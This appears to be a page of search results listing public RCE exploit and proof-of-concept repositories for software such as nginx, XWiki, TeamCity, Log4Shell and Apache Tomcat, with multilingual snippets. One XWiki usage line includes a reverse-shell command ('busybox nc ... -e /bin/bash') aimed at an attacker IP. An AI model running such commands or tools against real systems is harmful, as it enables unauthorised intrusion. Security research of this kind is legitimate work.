104 matches found
nGixshell
nGixShell es un escáner de CVEs de nginx y un framework de explotación de RCE. Incluye una prueba de concepto para CVE-2026-42945 CVSS 3.1 8.1 HIGH según F5/NVD — un desbordamiento de búfer en el heap en ngxhttprewritemodule — y un escáner que cubre 64 CVEs de nginx con sondeos HTTP automatizados...
CVE-2025-24893
CVE-2025-24893 Exploit de ejecución remota de código para XWiki para versiones anteriores a 15.10.11, 16.4.1 y 16.5.0RC1. Uso $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' Úsalo solo con fines éticos :...
teamcity-exploit-cve-2023-42793
TeamCity Exploit Cve 2023 42793 一个快速利用 cve-2023-42793 漏洞的脚本。关于该漏洞的更多信息可参见： https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793 https://www.cnblogs.com/LittleHann/p/17843271.html 该脚本增加了在触发 RCE 漏洞后自由使用 "params" 执行命令的能力：...
CVE-2025-64512_PoC
CVE-2025-64512 — exploit RCE de pdfminer.six Python 3, solo stdlib sin instalaciones de pip. Solo para pruebas de seguridad autorizadas y uso en CTF — eres responsable de cumplir con la ley y las reglas de enfrentamiento de tu encargo. | ---|--- CVE| CVE-2025-64512 Afectado| pdfminer.six .pickle....
htattack
htattack.py Una implementación de exploit para RCE en documentos RTF CVE-2017-0199. Video en español: https://www.youtube.com/watch?v=0lDvclMrymM Uso: python htattack.py -u...
CVE-2023-43177
CVE-2023-43177 CrushFTP = 10.5.1 Remote Code Execution This repository holds the proof-of-concept RCE exploit developed during research...
L4sh
Exploit RCE Log4Shell Exploit totalmente independiente que no requiere binarios de terceros. El exploit distribuye el payload a todos los encabezados HTTP registrados posibles, como X-Forwarding , Server-IP , User-Agent Uso python main.py -i lhost -u http://target:targetport -c "commandtoexecute"...
RCE-Exploit-Framework
RCE-Exploit-Framework Este framework está diseñado para ayudar a pentesters o desarrolladores a comprender los mecanismos de explotación de ejecución remota de código RCE. Características Generador de Payloads : Admite la creación de payloads personalizados basados en Python, Bash y PHP. Ejecutor...
CVE-2024-51567-RCE-EXPLOIT
CVE-2024-51567-RCE-EXPLOIT Exploit RCE de cbyerpanel...
h2database-rce-poc
H2 Console RCE Exploit Toolkit Vulnerability exploitation scr...
Exploit for Path Traversal in Vmware Cloud_Foundation
CTT-enhanced-VMware-vCenter Looking at current high-impact vul...
SweetRice-CMS-1.5.1-RCE-Exploit
SweetRice CMS 1.5.1 RCE Exploit Overview SweetRice CMS 1.5...
EUVD-2020-0163
Malware in sbrugna...
EUVD-2020-0162
Malware in sbrugna...
EUVD-2021-16090
Malware in sbrugna...
CVE-2014-125115 Pandora FMS ≤ 5.0 SP2 Default Credential SQL Injection RCE
An unauthenticated SQL injection vulnerability exists in Pandora FMS version 5.0 SP2 and earlier. The mobile/index.php endpoint fails to properly sanitize user input in the loginhashdata parameter, allowing attackers to extract administrator credentials or active session tokens via crafted...
Exploit for Deserialization of Untrusted Data in Apache Tomcat
CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository...
Exploit for Injection in Cisco Identity_Services_Engine
CVE-2025-20281-2-Cisco-ISE-RCE Unauthenticated Python PoC for...